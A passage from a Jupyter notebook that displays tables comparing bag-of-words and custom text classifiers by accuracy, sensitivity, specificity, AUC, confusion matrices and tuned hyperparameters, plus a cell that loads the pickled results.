       "      <td>0.997735</td>\n",
       "      <td>0.979156</td>\n",
       "      <td>0.999552</td>\n",
       "      <td>0.998620</td>\n",
       "      <td>[[20096, 9], [41, 1926]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.824097610574, 0.836298932384, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams Logistic</th>\n",
       "      <td>0.997871</td>\n",
       "      <td>0.979664</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.998061</td>\n",
       "      <td>[[20098, 7], [40, 1927]]</td>\n",
       "      <td>{'clf__C': 10, 'vect__min_df': 20}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.397559735638, 0.411286222674, 0.415...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams MultinomialNB</th>\n",
       "      <td>0.990939</td>\n",
       "      <td>0.962379</td>\n",
       "      <td>0.993733</td>\n",
       "      <td>0.976337</td>\n",
       "      <td>[[19979, 126], [74, 1893]]</td>\n",
       "      <td>{'vect__min_df': 20}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.788002033554, 0.788510421962, ...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                            accuracy  sensitivity  specificity       auc  \\\n",
       "tfidf 1grams MultinomialNB  0.991075     0.927300     0.997314  0.992670   \n",
       "tfidf 1grams SVM            0.994246     0.949161     0.998657  0.996409   \n",
       "count 3grams MultinomialNB  0.993567     0.981698     0.994728  0.997707   \n",
       "count 3grams Logistic       0.997146     0.970513     0.999751  0.998100   \n",
       "tfidf 1grams RandomForest   0.998324     0.992883     0.998856  0.999167   \n",
       "tfidf 3grams RandomForest   0.997553     0.975089     0.999751  0.999082   \n",
       "count 2grams RandomForest   0.998414     0.988307     0.999403  0.999120   \n",
       "tfidf 3grams Logistic       0.997735     0.977631     0.999702  0.999575   \n",
       "count 1grams RandomForest   0.998414     0.989832     0.999254  0.999426   \n",
       "tfidf 3grams MultinomialNB  0.996058     0.976614     0.997961  0.999112   \n",
       "tfidf 2grams Logistic       0.998142     0.985257     0.999403  0.999489   \n",
       "tfidf 2grams RandomForest   0.998596     0.988307     0.999602  0.999375   \n",
       "count 1grams SVM            0.997327     0.980173     0.999005  0.997913   \n",
       "tfidf 3grams SVM            0.994971     0.947128     0.999652  0.998131   \n",
       "count 1grams Logistic       0.996375     0.963396     0.999602  0.996902   \n",
       "tfidf 2grams SVM            0.996693     0.967463     0.999552  0.999090   \n",
       "tfidf 1grams Logistic       0.996104     0.967463     0.998906  0.998022   \n",
       "tfidf 2grams MultinomialNB  0.995651     0.968988     0.998259  0.997980   \n",
       "count 3grams RandomForest   0.997191     0.972039     0.999652  0.999070   \n",
       "count 3grams SVM            0.996693     0.968988     0.999403  0.997568   \n",
       "count 2grams MultinomialNB  0.994110     0.978139     0.995673  0.989279   \n",
       "count 2grams SVM            0.997735     0.979156     0.999552  0.998620   \n",
       "count 2grams Logistic       0.997871     0.979664     0.999652  0.998061   \n",
       "count 1grams MultinomialNB  0.990939     0.962379     0.993733  0.976337   \n",
       "\n",
       "                                           conf_matrix  \\\n",
       "tfidf 1grams MultinomialNB  [[20051, 54], [143, 1824]]   \n",
       "tfidf 1grams SVM            [[20078, 27], [100, 1867]]   \n",
       "count 3grams MultinomialNB  [[19999, 106], [36, 1931]]   \n",
       "count 3grams Logistic         [[20100, 5], [58, 1909]]   \n",
       "tfidf 1grams RandomForest    [[20082, 23], [14, 1953]]   \n",
       "tfidf 3grams RandomForest     [[20100, 5], [49, 1918]]   \n",
       "count 2grams RandomForest    [[20093, 12], [23, 1944]]   \n",
       "tfidf 3grams Logistic         [[20099, 6], [44, 1923]]   \n",
       "count 1grams RandomForest    [[20090, 15], [20, 1947]]   \n",
       "tfidf 3grams MultinomialNB   [[20064, 41], [46, 1921]]   \n",
       "tfidf 2grams Logistic        [[20093, 12], [29, 1938]]   \n",
       "tfidf 2grams RandomForest     [[20097, 8], [23, 1944]]   \n",
       "count 1grams SVM             [[20085, 20], [39, 1928]]   \n",
       "tfidf 3grams SVM             [[20098, 7], [104, 1863]]   \n",
       "count 1grams Logistic         [[20097, 8], [72, 1895]]   \n",
       "tfidf 2grams SVM              [[20096, 9], [64, 1903]]   \n",
       "tfidf 1grams Logistic        [[20083, 22], [64, 1903]]   \n",
       "tfidf 2grams MultinomialNB   [[20070, 35], [61, 1906]]   \n",
       "count 3grams RandomForest     [[20098, 7], [55, 1912]]   \n",
       "count 3grams SVM             [[20093, 12], [61, 1906]]   \n",
       "count 2grams MultinomialNB   [[20018, 87], [43, 1924]]   \n",
       "count 2grams SVM              [[20096, 9], [41, 1926]]   \n",
       "count 2grams Logistic         [[20098, 7], [40, 1927]]   \n",
       "count 1grams MultinomialNB  [[19979, 126], [74, 1893]]   \n",
       "\n",
       "                                                                       params  \\\n",
       "tfidf 1grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "tfidf 1grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "count 3grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "count 3grams Logistic                       {'clf__C': 10, 'vect__min_df': 2}   \n",
       "tfidf 1grams RandomForest       {'clf__n_estimators': 60, 'vect__min_df': 40}   \n",
       "tfidf 3grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 5}   \n",
       "count 2grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 1}   \n",
       "tfidf 3grams Logistic                     {'clf__C': 1000, 'vect__min_df': 1}   \n",
       "count 1grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 1}   \n",
       "tfidf 3grams MultinomialNB                                {'vect__min_df': 2}   \n",
       "tfidf 2grams Logistic                     {'clf__C': 1000, 'vect__min_df': 1}   \n",
       "tfidf 2grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 5}   \n",
       "count 1grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "tfidf 3grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "count 1grams Logistic                      {'clf__C': 10, 'vect__min_df': 40}   \n",
       "tfidf 2grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "tfidf 1grams Logistic                     {'clf__C': 1000, 'vect__min_df': 1}   \n",
       "tfidf 2grams MultinomialNB                                {'vect__min_df': 2}   \n",
       "count 3grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 5}   \n",
       "count 3grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "count 2grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "count 2grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "count 2grams Logistic                      {'clf__C': 10, 'vect__min_df': 20}   \n",
       "count 1grams MultinomialNB                               {'vect__min_df': 20}   \n",
       "\n",
       "                                                                        model  \\\n",
       "tfidf 1grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 1grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 3grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 3grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 1grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 3grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 2grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 3grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 3grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 2grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 2grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 3grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 2grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 1grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 2grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 3grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 3grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 2grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 2grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 2grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 1grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "\n",
       "                                                                          roc  \n",
       "tfidf 1grams MultinomialNB  {'tpr': [0.000508388408744, 0.0345704117946, 0...  \n",
       "tfidf 1grams SVM            {'tpr': [0.436197254703, 0.472801220132, 0.473...  \n",
       "count 3grams MultinomialNB  {'tpr': [0.0, 0.881545500763, 0.883579054398, ...  \n",
       "count 3grams Logistic       {'tpr': [0.162175902389, 0.173360447382, 0.179...  \n",
       "tfidf 1grams RandomForest   {'tpr': [0.76105744789, 0.861209964413, 0.8998...  \n",
       "tfidf 3grams RandomForest   {'tpr': [0.693441789527, 0.694966954753, 0.782...  \n",
       "count 2grams RandomForest   {'tpr': [0.683274021352, 0.683782409761, 0.801...  \n",
       "tfidf 3grams Logistic       {'tpr': [0.000508388408744, 0.00152516522623, ...  \n",
       "count 1grams RandomForest   {'tpr': [0.734112862227, 0.840874428063, 0.887...  \n",
       "tfidf 3grams MultinomialNB  {'tpr': [0.000508388408744, 0.00203355363498, ...  \n",
       "tfidf 2grams Logistic       {'tpr': [0.0279613624809, 0.0391459074733, 0.0...  \n",
       "tfidf 2grams RandomForest   {'tpr': [0.687341128622, 0.687849517031, 0.795...  \n",
       "count 1grams SVM            {'tpr': [0.0, 0.821555668531, 0.833248601932, ...  \n",
       "tfidf 3grams SVM            {'tpr': [0.630910015252, 0.631926792069, 0.634...  \n",
       "count 1grams Logistic       {'tpr': [0.0, 0.644128113879, 0.659379766141, ...  \n",
       "tfidf 2grams SVM            {'tpr': [0.57905439756, 0.584646670056, 0.5856...  \n",
       "tfidf 1grams Logistic       {'tpr': [0.654804270463, 0.667513980681, 0.671...  \n",
       "tfidf 2grams MultinomialNB  {'tpr': [0.000508388408744, 0.00711743772242, ...  \n",
       "count 3grams RandomForest   {'tpr': [0.689374682257, 0.690391459075, 0.786...  \n",
       "count 3grams SVM            {'tpr': [0.0, 0.722419928826, 0.724961870869, ...  \n",
       "count 2grams MultinomialNB  {'tpr': [0.0, 0.868835790544, 0.869344178953, ...  \n",
       "count 2grams SVM            {'tpr': [0.0, 0.824097610574, 0.836298932384, ...  \n",
       "count 2grams Logistic       {'tpr': [0.397559735638, 0.411286222674, 0.415...  \n",
       "count 1grams MultinomialNB  {'tpr': [0.0, 0.788002033554, 0.788510421962, ...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "#Display the results for the classifiers that were using bag of words feature spaces\n",
    "classifier_results = pickle.load( open( \"data/trained_classifiers.p\", \"rb\" ) )\n",
    "display(classifier_results)\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>accuracy</th>\n",
       "      <th>sensitivity</th>\n",
       "      <th>specificity</th>\n",
       "      <th>auc</th>\n",
       "      <th>conf_matrix</th>\n",
       "      <th>params</th>\n",
       "      <th>model</th>\n",
       "      <th>roc</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams RandomForest</th>\n",
       "      <td>0.998324</td>\n",
       "      <td>0.992883</td>\n",
       "      <td>0.998856</td>\n",
       "      <td>0.999167</td>\n",
       "      <td>[[20082, 23], [14, 1953]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 40}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.76105744789, 0.861209964413, 0.8998...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams RandomForest</th>\n",
       "      <td>0.998414</td>\n",
       "      <td>0.989832</td>\n",
       "      <td>0.999254</td>\n",
       "      <td>0.999426</td>\n",
       "      <td>[[20090, 15], [20, 1947]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.734112862227, 0.840874428063, 0.887...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams RandomForest</th>\n",
       "      <td>0.998596</td>\n",
       "      <td>0.988307</td>\n",
       "      <td>0.999602</td>\n",
       "      <td>0.999375</td>\n",
       "      <td>[[20097, 8], [23, 1944]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 5}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.687341128622, 0.687849517031, 0.795...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams RandomForest</th>\n",
       "      <td>0.998414</td>\n",
       "      <td>0.988307</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.99912</td>\n",
       "      <td>[[20093, 12], [23, 1944]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.683274021352, 0.683782409761, 0.801...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams Logistic</th>\n",
       "      <td>0.998142</td>\n",
       "      <td>0.985257</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.999489</td>\n",
       "      <td>[[20093, 12], [29, 1938]]</td>\n",
       "      <td>{'clf__C': 1000, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0279613624809, 0.0391459074733, 0.0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom SVM</th>\n",
       "      <td>0.99411</td>\n",
       "      <td>0.985257</td>\n",
       "      <td>0.994976</td>\n",
       "      <td>0.997742</td>\n",
       "      <td>[[20004, 101], [29, 1938]]</td>\n",
       "      <td>{'C': 100, 'kernel': 'rbf', 'gamma': 'auto'}</td>\n",
       "      <td>SVC(C=100, cache_size=200, class_weight=None, ...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00711743772242, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams MultinomialNB</th>\n",
       "      <td>0.993567</td>\n",
       "      <td>0.981698</td>\n",
       "      <td>0.994728</td>\n",
       "      <td>0.997707</td>\n",
       "      <td>[[19999, 106], [36, 1931]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.881545500763, 0.883579054398, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams SVM</th>\n",
       "      <td>0.997327</td>\n",
       "      <td>0.980173</td>\n",
       "      <td>0.999005</td>\n",
       "      <td>0.997913</td>\n",
       "      <td>[[20085, 20], [39, 1928]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.821555668531, 0.833248601932, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams Logistic</th>\n",
       "      <td>0.997871</td>\n",
       "      <td>0.979664</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.998061</td>\n",
       "      <td>[[20098, 7], [40, 1927]]</td>\n",
       "      <td>{'clf__C': 10, 'vect__min_df': 20}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.397559735638, 0.411286222674, 0.415...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams SVM</th>\n",
       "      <td>0.997735</td>\n",
       "      <td>0.979156</td>\n",
       "      <td>0.999552</td>\n",
       "      <td>0.99862</td>\n",
       "      <td>[[20096, 9], [41, 1926]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.824097610574, 0.836298932384, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom RandomForest</th>\n",
       "      <td>0.996874</td>\n",
       "      <td>0.978139</td>\n",
       "      <td>0.998707</td>\n",
       "      <td>0.998571</td>\n",
       "      <td>[[20079, 26], [43, 1924]]</td>\n",
       "      <td>{'n_estimators': 40}</td>\n",
       "      <td>(DecisionTreeClassifier(class_weight=None, cri...</td>\n",
       "      <td>{'tpr': [0.739705134723, 0.828164717844, 0.865...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams MultinomialNB</th>\n",
       "      <td>0.99411</td>\n",
       "      <td>0.978139</td>\n",
       "      <td>0.995673</td>\n",
       "      <td>0.989279</td>\n",
       "      <td>[[20018, 87], [43, 1924]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.868835790544, 0.869344178953, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams Logistic</th>\n",
       "      <td>0.997735</td>\n",
       "      <td>0.977631</td>\n",
       "      <td>0.999702</td>\n",
       "      <td>0.999575</td>\n",
       "      <td>[[20099, 6], [44, 1923]]</td>\n",
       "      <td>{'clf__C': 1000, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00152516522623, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams MultinomialNB</th>\n",
       "      <td>0.996058</td>\n",
       "      <td>0.976614</td>\n",
       "      <td>0.997961</td>\n",
       "      <td>0.999112</td>\n",
       "      <td>[[20064, 41], [46, 1921]]</td>\n",
       "      <td>{'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00203355363498, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams RandomForest</th>\n",
       "      <td>0.997553</td>\n",
       "      <td>0.975089</td>\n",
       "      <td>0.999751</td>\n",
       "      <td>0.999082</td>\n",
       "      <td>[[20100, 5], [49, 1918]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 5}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.693441789527, 0.694966954753, 0.782...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams RandomForest</th>\n",
       "      <td>0.997191</td>\n",
       "      <td>0.972039</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.99907</td>\n",
       "      <td>[[20098, 7], [55, 1912]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 5}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.689374682257, 0.690391459075, 0.786...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams Logistic</th>\n",
       "      <td>0.997146</td>\n",
       "      <td>0.970513</td>\n",
       "      <td>0.999751</td>\n",
       "      <td>0.9981</td>\n",
       "      <td>[[20100, 5], [58, 1909]]</td>\n",
       "      <td>{'clf__C': 10, 'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.162175902389, 0.173360447382, 0.179...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams SVM</th>\n",
       "      <td>0.996693</td>\n",
       "      <td>0.968988</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.997568</td>\n",
       "      <td>[[20093, 12], [61, 1906]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.722419928826, 0.724961870869, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams MultinomialNB</th>\n",
       "      <td>0.995651</td>\n",
       "      <td>0.968988</td>\n",
       "      <td>0.998259</td>\n",
       "      <td>0.99798</td>\n",
       "      <td>[[20070, 35], [61, 1906]]</td>\n",
       "      <td>{'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00711743772242, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams SVM</th>\n",
       "      <td>0.996693</td>\n",
       "      <td>0.967463</td>\n",
       "      <td>0.999552</td>\n",
       "      <td>0.99909</td>\n",
       "      <td>[[20096, 9], [64, 1903]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.57905439756, 0.584646670056, 0.5856...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams Logistic</th>\n",
       "      <td>0.996104</td>\n",
       "      <td>0.967463</td>\n",
       "      <td>0.998906</td>\n",
       "      <td>0.998022</td>\n",
       "      <td>[[20083, 22], [64, 1903]]</td>\n",
       "      <td>{'clf__C': 1000, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.654804270463, 0.667513980681, 0.671...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams Logistic</th>\n",
       "      <td>0.996375</td>\n",
       "      <td>0.963396</td>\n",
       "      <td>0.999602</td>\n",
       "      <td>0.996902</td>\n",
       "      <td>[[20097, 8], [72, 1895]]</td>\n",
       "      <td>{'clf__C': 10, 'vect__min_df': 40}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.644128113879, 0.659379766141, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams MultinomialNB</th>\n",
       "      <td>0.990939</td>\n",
       "      <td>0.962379</td>\n",
       "      <td>0.993733</td>\n",
       "      <td>0.976337</td>\n",
       "      <td>[[19979, 126], [74, 1893]]</td>\n",
       "      <td>{'vect__min_df': 20}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.788002033554, 0.788510421962, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom MLPClassifier</th>\n",
       "      <td>0.992796</td>\n",
       "      <td>0.954753</td>\n",
       "      <td>0.996518</td>\n",
       "      <td>0.997632</td>\n",
       "      <td>[[20035, 70], [89, 1878]]</td>\n",
       "      <td>{'hidden_layer_sizes': (300, 200, 150, 150), '...</td>\n",
       "      <td>MLPClassifier(activation='relu', alpha=0.01, b...</td>\n",
       "      <td>{'tpr': [0.00559227249619, 0.00711743772242, 0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams SVM</th>\n",
       "      <td>0.994246</td>\n",
       "      <td>0.949161</td>\n",
       "      <td>0.998657</td>\n",
       "      <td>0.996409</td>\n",
       "      <td>[[20078, 27], [100, 1867]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.436197254703, 0.472801220132, 0.473...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams SVM</th>\n",
       "      <td>0.994971</td>\n",
       "      <td>0.947128</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.998131</td>\n",
       "      <td>[[20098, 7], [104, 1863]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.630910015252, 0.631926792069, 0.634...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom AdaBoostClassifier</th>\n",
       "      <td>0.98967</td>\n",
       "      <td>0.930351</td>\n",
       "      <td>0.995474</td>\n",
       "      <td>0.997814</td>\n",
       "      <td>[[20014, 91], [137, 1830]]</td>\n",
       "      <td>{'n_estimators': 100, 'learning_rate': 1.0}</td>\n",
       "      <td>(DecisionTreeClassifier(class_weight=None, cri...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00254194204372, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams MultinomialNB</th>\n",
       "      <td>0.991075</td>\n",
       "      <td>0.9273</td>\n",
       "      <td>0.997314</td>\n",
       "      <td>0.99267</td>\n",
       "      <td>[[20051, 54], [143, 1824]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.0345704117946, 0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom MultinomialNB</th>\n",
       "      <td>0.924339</td>\n",
       "      <td>0.916116</td>\n",
       "      <td>0.925143</td>\n",
       "      <td>0.971266</td>\n",
       "      <td>[[18600, 1505], [165, 1802]]</td>\n",
       "      <td>{'alpha': 1.0}</td>\n",
       "      <td>MultinomialNB(alpha=1.0, class_prior=None, fit...</td>\n",
       "      <td>{'tpr': [0.0, 0.828673106253, 0.829689883071, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom DecisionTree</th>\n",
       "      <td>0.9889</td>\n",
       "      <td>0.89578</td>\n",
       "      <td>0.99801</td>\n",
       "      <td>0.990906</td>\n",
       "      <td>[[20065, 40], [205, 1762]]</td>\n",
       "      <td>{'min_samples_split': 2}</td>\n",
       "      <td>DecisionTreeClassifier(class_weight=None, crit...</td>\n",
       "      <td>{'tpr': [0.0, 0.0818505338078, 0.76105744789, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom SGD</th>\n",
       "      <td>0.981606</td>\n",
       "      <td>0.877478</td>\n",
       "      <td>0.991793</td>\n",
       "      <td>0.984595</td>\n",
       "      <td>[[19940, 165], [241, 1726]]</td>\n",
       "      <td>{'learning_rate': 'optimal'}</td>\n",
       "      <td>SGDClassifier(alpha=0.0001, average=False, cla...</td>\n",
       "      <td>{'tpr': [0.0, 0.858668022369, 0.859176410778, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom Logistic</th>\n",
       "      <td>0.98446</td>\n",
       "      <td>0.862227</td>\n",
       "      <td>0.996419</td>\n",
       "      <td>0.990221</td>\n",
       "      <td>[[20033, 72], [271, 1696]]</td>\n",
       "      <td>{'C': 100}</td>\n",
       "      <td>LogisticRegression(C=100, class_weight=None, d...</td>\n",
       "      <td>{'tpr': [0.0111845449924, 0.0116929334011, 0.0...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                            accuracy sensitivity specificity       auc  \\\n",
       "tfidf 1grams RandomForest   0.998324    0.992883    0.998856  0.999167   \n",
       "count 1grams RandomForest   0.998414    0.989832    0.999254  0.999426   \n",
       "tfidf 2grams RandomForest   0.998596    0.988307    0.999602  0.999375   \n",
       "count 2grams RandomForest   0.998414    0.988307    0.999403   0.99912   \n",
       "tfidf 2grams Logistic       0.998142    0.985257    0.999403  0.999489   \n",
       "custom SVM                   0.99411    0.985257    0.994976  0.997742   \n",
       "count 3grams MultinomialNB  0.993567    0.981698    0.994728  0.997707   \n",
       "count 1grams SVM            0.997327    0.980173    0.999005  0.997913   \n",
       "count 2grams Logistic       0.997871    0.979664    0.999652  0.998061   \n",
       "count 2grams SVM            0.997735    0.979156    0.999552   0.99862   \n",
